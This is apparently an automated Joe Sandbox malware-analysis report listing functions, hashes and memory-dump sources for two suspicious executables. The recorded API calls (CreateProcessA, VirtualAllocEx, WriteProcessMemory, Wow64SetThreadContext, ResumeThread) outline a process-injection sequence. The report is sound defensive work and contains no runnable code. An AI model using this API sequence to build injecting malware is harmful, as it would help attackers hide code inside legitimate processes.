Opcode ID: 92bfb308a43eeca1af6b2f2737f0a6792e17cc137d0f3a2150796deb5137b864
Instruction ID: 7ff5712458ba73e79ebfc06ff445a8c1134a5245158e228075d0d287765a053e
Opcode Fuzzy Hash: 92bfb308a43eeca1af6b2f2737f0a6792e17cc137d0f3a2150796deb5137b864
Instruction Fuzzy Hash: 95213D71500244DFCF19DF54D9C4F16BF65FB89318F24C569E9090B25AC33AD416CBA1

Function 0132D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2243215327.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_132d000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8395dca8f96635b7146b3f75af126e5495abfefc39eabf4e948b82a430a29d2d
Instruction ID: 081cbecc21b21d591e2341fe8c86db16f5710f759d05802ef05b0b9e28139f84
Opcode Fuzzy Hash: 8395dca8f96635b7146b3f75af126e5495abfefc39eabf4e948b82a430a29d2d
Instruction Fuzzy Hash: 90210471504204EFDB05EFA8D9C4F26BB69FB8831CF20C96DD9094B356C77AE406CA62

Function 0132D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2243215327.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_132d000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a13eaf1286f880a964feb82b31182bb0b1775bad6ad034c9eaac2011582a0d4
Instruction ID: 0453c3c53b9ea0008f6352c04c386dc1d684aeb4d8e0434d3d9ad654ec264127
Opcode Fuzzy Hash: 1a13eaf1286f880a964feb82b31182bb0b1775bad6ad034c9eaac2011582a0d4
Instruction Fuzzy Hash: B7213571504204DFDB05EF98D9C0B2ABF69FB88328F24C56DDA494B346C33AD406CAB2

Function 0131D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2243163126.000000000131D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0131D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_131d000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction ID: e6f5dd29c2e9075d641d090c1815face063d3af5404869de83ae57f3da9fba9d
Opcode Fuzzy Hash: b4df52cb15700b59c5b6b401fa95ea1d4e97f6e18881beb99e30f99f1fcf6035
Instruction Fuzzy Hash: 5121C072404280DFCB06CF54D9C4B16BF72FB89314F2486A9D9480A25BC33AD416CB91

Function 0132D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2243215327.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_132d000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 15bdc69f89d64f112b4e71e270598e2a20490498e9deea9dee6d63550fb30c06
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: 0111BF76504280CFDB12DF14D5C4B19FF61FB84328F28C6AAD9494B656C33AD44ACBA2

Function 0132D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2243215327.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_132d000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 4aa49c37c137af173c4f91e179d52c834d4a574ca2d4793d353b7bfe3fde5ea2
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: A911DD75504280CFDB02DF54C5C4B15BFB1FB88318F24C6AAD8494B256C37AD40ACB62

Non-executed Functions

Function 069C0D50 Relevance: 10.3, Strings: 8, Instructions: 299COMMON

Download Yara Rule

Strings

$]q, xrefs: 069C0F82
$]q, xrefs: 069C0F76
$]q, xrefs: 069C0E1C
$]q, xrefs: 069C0E42
$]q, xrefs: 069C0F50
$]q, xrefs: 069C0E4E
$]q, xrefs: 069C0F00
$]q, xrefs: 069C0DCC

Memory Dump Source

Source File: 00000008.00000002.2258511269.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_69c0000_RgIbrhxoEx.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 62a7a0b37ca0d2b800c5facf19cab45eef51430f206f5f442cf62a732208e63b
Instruction ID: 457aace904564bac7855afc758685f6a495e4aa8b9818dd1503b6a1c1ef5a382
Opcode Fuzzy Hash: 62a7a0b37ca0d2b800c5facf19cab45eef51430f206f5f442cf62a732208e63b
Instruction Fuzzy Hash: C0B1AD30B00245CFDB55CB69C9549AEBBF6BF89220F14846EE406D77A1CB35DC45CBA2

Analysis Process: LjGABleGAy.exePID: 1880, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	204
Total number of Limit Nodes:	16

Executed Functions

Function 013BD2F3 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013BD37E
GetCurrentThread.KERNEL32 ref: 013BD3BB
GetCurrentProcess.KERNEL32 ref: 013BD3F8
GetCurrentThreadId.KERNEL32 ref: 013BD451

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 2d86d19317cac23fe1486984f2c80853f464fb91c0a66d02bfa73e2df64cb05f
Instruction ID: ea9f40064e2dfa810d12e8540ea002281adaeafa46251fd45afcda59dc2676da
Opcode Fuzzy Hash: 2d86d19317cac23fe1486984f2c80853f464fb91c0a66d02bfa73e2df64cb05f
Instruction Fuzzy Hash: 365189B09007498FDB04DFA9D548BEEBFF1EF49304F248459D109A7250DB385984CB61

Function 013BD300 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 013BD37E
GetCurrentThread.KERNEL32 ref: 013BD3BB
GetCurrentProcess.KERNEL32 ref: 013BD3F8
GetCurrentThreadId.KERNEL32 ref: 013BD451

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4d8f51bff38ccac76a135c2432a32235ff2a19d8ed450f651948d75d6b468dd2
Instruction ID: 02d3ca565a7184104030faaa366a2e82bc9ceb5b3d4afeb2c9e550ff82c0da45
Opcode Fuzzy Hash: 4d8f51bff38ccac76a135c2432a32235ff2a19d8ed450f651948d75d6b468dd2
Instruction Fuzzy Hash: 855157B49016098FDB18DFAAD548BEEBFF1EF48318F248459D109A7350DB385884CB65

Function 030539D4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 03053C16

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b867b6f15a3652fc09cddcef6381c2081960b19a7f1245e2d166cb97d8bc765e
Instruction ID: 0e9047cb6bd2e4aa0369045f318ded5bc16b866e4554ea2ccf3cfea37ecfb2f5
Opcode Fuzzy Hash: b867b6f15a3652fc09cddcef6381c2081960b19a7f1245e2d166cb97d8bc765e
Instruction Fuzzy Hash: C4915B75D01619DFEB24CF68C841BEEBBF2BF44314F1485A9E808A7240DB759985CF91

Function 030539E0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 03053C16

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d75f52d2da30c6607fdc79fb30c709b91915a91ae33107ec467a5c520583f8dc
Instruction ID: 4260fa424418a7a8a28b42772142f7b18f30f9f7cf18d463fb90f8a231e55c13
Opcode Fuzzy Hash: d75f52d2da30c6607fdc79fb30c709b91915a91ae33107ec467a5c520583f8dc
Instruction Fuzzy Hash: 23914975D012199FEB24CF68C841BEEBBF2BF48314F1485A9EC18A7240DB759985CF91

Function 013BB070 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 013BB2C6

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 32f316e3082e6d51aa0ec7885b304157261ec4ce21f813d2ac3a7be28567176e
Instruction ID: 8caceb8f5cbddd5eda96bef20d5ae54b7d53af58522520a92712abd6d0dd9404
Opcode Fuzzy Hash: 32f316e3082e6d51aa0ec7885b304157261ec4ce21f813d2ac3a7be28567176e
Instruction Fuzzy Hash: 29716670A00B058FD724DF2AD5807AABBF5FF88304F00892DD54ADBA44EB75E949CB90

Function 013B44B0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 013B59C9

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: bf1dcdc6cf8586069dc28ab76b53694d4cb5bb8710efccea14aed9f97dacd2d4
Instruction ID: 654e5d89c94a9e0a03984e24e277af2340c334e926bc3c3734a84586bbcafc3c
Opcode Fuzzy Hash: bf1dcdc6cf8586069dc28ab76b53694d4cb5bb8710efccea14aed9f97dacd2d4
Instruction Fuzzy Hash: 0041EDB0C0071DCBDB24CFA9C884ADDBBB5BF49308F20806AD508BB255EB756946CF90

Function 013B590D Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 013B59C9

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: cdf3893d1a8c2667e950eee258962eb7a591e01e5bd35d6c1e6f6021dc3584a7
Instruction ID: 005d8855e9910d786bfc10cef73c7909fdcf3d639bfbcb10b4222516bb190b2e
Opcode Fuzzy Hash: cdf3893d1a8c2667e950eee258962eb7a591e01e5bd35d6c1e6f6021dc3584a7
Instruction Fuzzy Hash: 6E41EEB0C00659CFDB25CFA9C885BDDBBB1BF49308F24806AD508BB255DB75694ACF90

Function 03053691 Relevance: 1.6, APIs: 1, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 03053706

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b140e28da616e66f229ee727af9201445ada7e80579e00bb4613ab152c6f1ea0
Instruction ID: 6a119c87d8dd6ce9379af4226adcac40fb681c78dd68b3bd02e5f340e3e38349
Opcode Fuzzy Hash: b140e28da616e66f229ee727af9201445ada7e80579e00bb4613ab152c6f1ea0
Instruction Fuzzy Hash: C5214AB69002099FCB20DFA9D8457EEFFF5EF88320F24841AE519A7250CB399541CFA0

Function 03053750 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 030537E8

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5bd39f4b0c7409ed2ac5597b751413329dc033ccc9421922e978e2709bb81dda
Instruction ID: 3bf5655d2df6abe97405e6a4c2ef6587e42b9fd8af3382d2fd8363c215a8c22f
Opcode Fuzzy Hash: 5bd39f4b0c7409ed2ac5597b751413329dc033ccc9421922e978e2709bb81dda
Instruction Fuzzy Hash: 5E2135B5D002099FCB10CFA9C881BEEBBF1FF48310F10852AE918A7240D7799945CFA0

Function 03053758 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 030537E8

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4a73021dd8472ae211d7af40e3e2256751ff0331c0e7b1c27981d24665f9ca85
Instruction ID: 6a306c5a0737989cf56c1f67e5e37ca8dc6ce3766f7c540bd115d61ab81cb358
Opcode Fuzzy Hash: 4a73021dd8472ae211d7af40e3e2256751ff0331c0e7b1c27981d24665f9ca85
Instruction Fuzzy Hash: 802124B5D003099FCB10DFAAC885BEEBBF5FF48310F10842AE919A7240D7789944CBA0

Function 030535B9 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0305363E

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6157f3ae2ac3ca46b3f9003b28338db3b0f6601c05182081074936fe230d8872
Instruction ID: 261c7a68aa3cbdcff6f9bba2ae62bae40d9b7b873c61b3a01827a4882958e274
Opcode Fuzzy Hash: 6157f3ae2ac3ca46b3f9003b28338db3b0f6601c05182081074936fe230d8872
Instruction Fuzzy Hash: 522137B5D002098FDB50DFAAC4857EEFBF4EF48324F14842AD959A7240DB78A945CBA0

Function 03053841 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 030538C8

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4094222d0b19edcabbeea1e61581dfec3621e3f3dd94db03e6ceabcc683ff201
Instruction ID: 8f6b3c9d6732bfb88198a45136908f47f0c5099ca95b191523bfb77d47f7b697
Opcode Fuzzy Hash: 4094222d0b19edcabbeea1e61581dfec3621e3f3dd94db03e6ceabcc683ff201
Instruction Fuzzy Hash: 982119B5D012499FCB10DFA9C8417EEFBF5FF48310F10842AE919A7240C7399545DBA0

Function 013BD540 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013BD5CF

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3967f81de676e912667d8f892e9042813bba4a4d91e869c3f6b6032a8cb81364
Instruction ID: 2ea9b90387da591e63c4857b8a64b3770d04610d7bfb220ff81f873a453ead0b
Opcode Fuzzy Hash: 3967f81de676e912667d8f892e9042813bba4a4d91e869c3f6b6032a8cb81364
Instruction Fuzzy Hash: 7321F3B58002489FDB10CFAAD584ADEBFF5EB48314F14845AE918A7210D378A945CFA0

Function 03053848 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 030538C8

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f9331b9b88622e794880a515e86431ab182b17ec8f18ed66a0d20d057327a8fe
Instruction ID: a8619a30a7464d0cd68c098092a7dc70bd12cf5b165e2d176b766fd3602b1521
Opcode Fuzzy Hash: f9331b9b88622e794880a515e86431ab182b17ec8f18ed66a0d20d057327a8fe
Instruction Fuzzy Hash: F32116B5C003499FCB10DFAAC841AEEFBF5FF48310F108429E919A7240D7389944CBA0

Function 030535C0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0305363E

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 40450df869f0c585909a452dfc53fa48e0e3b0ea680cb3434882c6802a2a8a42
Instruction ID: ade3d0be8f1fe00bb2e47b019099c8f29174acf8de85a4ed3b9cc86bd039542e
Opcode Fuzzy Hash: 40450df869f0c585909a452dfc53fa48e0e3b0ea680cb3434882c6802a2a8a42
Instruction Fuzzy Hash: 9A2118B5D002098FDB50DFAAC4857EEFBF4EF48314F14842AD919A7240DB789945CFA5

Function 013BD548 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 013BD5CF

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 668b44ff01b16d09bab55ca78498384835096e1dcbaf78e5e98278ae22c50292
Instruction ID: b8230314b7a2d7c94f0890bf199b283138fc0993c919162a008506ed2da37faf
Opcode Fuzzy Hash: 668b44ff01b16d09bab55ca78498384835096e1dcbaf78e5e98278ae22c50292
Instruction Fuzzy Hash: E721C4B59002489FDB10CF9AD584ADEBFF9FB48314F14841AE918A3350D379A944CFA5

Function 013BAA88 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,013BB341,00000800,00000000,00000000), ref: 013BB552

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c67892a0c71a7093213c963bca297b0d2197f35eaccf8fd9d5bf6b0728e2d9e8
Instruction ID: 20cb726aff7377e7b5b73e03df709d2242ccd7804a3e3a316aafbc25fcd77520
Opcode Fuzzy Hash: c67892a0c71a7093213c963bca297b0d2197f35eaccf8fd9d5bf6b0728e2d9e8
Instruction Fuzzy Hash: 0F1114B68003489FDB10DF9AC484BDEFBF4EB48314F10842AD919A7600D779A545CFA5

Function 013BB4E1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,013BB341,00000800,00000000,00000000), ref: 013BB552

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 55c77c12cdc059d9d3f29a337d0dee545a9c1170fff30d3a92495637581dbaef
Instruction ID: ff3d08a4d3235164787f61a927db94da5bcbf042e80a00c282e691d81426f09a
Opcode Fuzzy Hash: 55c77c12cdc059d9d3f29a337d0dee545a9c1170fff30d3a92495637581dbaef
Instruction Fuzzy Hash: 311126B6C003499FDB10CF9AD484BDEFBF4EB88310F10841AD919A7600D779A545CFA1

Function 03053698 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 03053706

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e7316c1df56a6275ff62f6dd7a02d7169766b2a507631c479e8788c7450ee358
Instruction ID: bee84611e9b7c8c55c6ecae91fae71c092bfe691fa6837c6a18a16e8025b8423
Opcode Fuzzy Hash: e7316c1df56a6275ff62f6dd7a02d7169766b2a507631c479e8788c7450ee358
Instruction Fuzzy Hash: 4911F6B59002499FCB20DFAAC845BEFBFF5EF48320F148419E919A7250C779A544CFA1

Function 013BB259 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 013BB2C6

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d997a49291fd729e0071e17f2aceb977cfdeb0b12150cadac77db866342181f4
Instruction ID: 6c21a1290a6b22289da3d06547155cdca078ef18091c7faf119d9a578b8063dd
Opcode Fuzzy Hash: d997a49291fd729e0071e17f2aceb977cfdeb0b12150cadac77db866342181f4
Instruction Fuzzy Hash: 4211FDB6C002498FDB10DF9AD444ADEFBF8AB88224F10841AD928AB610D379A545CFA1

Function 03053508 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 03053572

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 18b61e94d69d8e637e81a1d182d46e277c58642954b765245db8f72f46ce263a
Instruction ID: 2eddd08bbce321577f35cf631dd841c3eeeb78c24a1034e9ecb261727d76dd3b
Opcode Fuzzy Hash: 18b61e94d69d8e637e81a1d182d46e277c58642954b765245db8f72f46ce263a
Instruction Fuzzy Hash: 62116AB5D002088FCB10DFA9C4457EEFBF4EF48310F248459D819A7240D738A940CFA0

Function 03053510 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 03053572

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 287e9946917151b59d2111d7bb47ea97ed84e9f44be0033da3063b23daa2658f
Instruction ID: cd504175e8c6c46548c6ed7193b45bf0eb93a9637dd62b6dd316ec0aff55b619
Opcode Fuzzy Hash: 287e9946917151b59d2111d7bb47ea97ed84e9f44be0033da3063b23daa2658f
Instruction Fuzzy Hash: 841125B5D002488FCB20DFAAC4457AEFBF5EF88324F248419D519A7240CB79A944CBA0

Function 013BB260 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 013BB2C6

Memory Dump Source

Source File: 0000000A.00000002.2215625375.00000000013B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_13b0000_LjGABleGAy.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b8c2195b731a6d729d0a24295faa46f847bdaedc214edd3000d6577d6fe13530
Instruction ID: 46cbc14539957acce79d235c5bd7b37cc1042d2e04121deae63f27fd736c9251
Opcode Fuzzy Hash: b8c2195b731a6d729d0a24295faa46f847bdaedc214edd3000d6577d6fe13530
Instruction Fuzzy Hash: 4211DFB5C002498FDB10DF9AD444ADEFBF4AF89324F10851AD929AB610D379A545CFA1

Function 03055AC0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0305788D

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e3393d17d4d361e182a14706feb4151e74289ebfe927a609c08628a73707f306
Instruction ID: 3c72bb566479168dfe29f52c5c566654f88e9b86aba172f4b13903f75939c5d0
Opcode Fuzzy Hash: e3393d17d4d361e182a14706feb4151e74289ebfe927a609c08628a73707f306
Instruction Fuzzy Hash: A811F5B58003489FCB10DF99C845BEEBBF8EB48720F108419E918A7200D375A944CFA5

Function 03057828 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0305788D

Memory Dump Source

Source File: 0000000A.00000002.2216939833.0000000003050000.00000040.00000800.00020000.00000000.sdmp, Offset: 03050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3050000_LjGABleGAy.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 359f5b4b748c68b398d8842dc6c4a5ceaef615fe9069a40a3705830fa115ae69
Instruction ID: e0c90db9e3767b48fa8dfd77729b434ec13c3d3a2c464ff83678db6ff8578bf4
Opcode Fuzzy Hash: 359f5b4b748c68b398d8842dc6c4a5ceaef615fe9069a40a3705830fa115ae69
Instruction Fuzzy Hash: 5A1103B58012489FDB10DF99D485BEEBBF4FB48320F20841AE918A7700C379A944CFA1

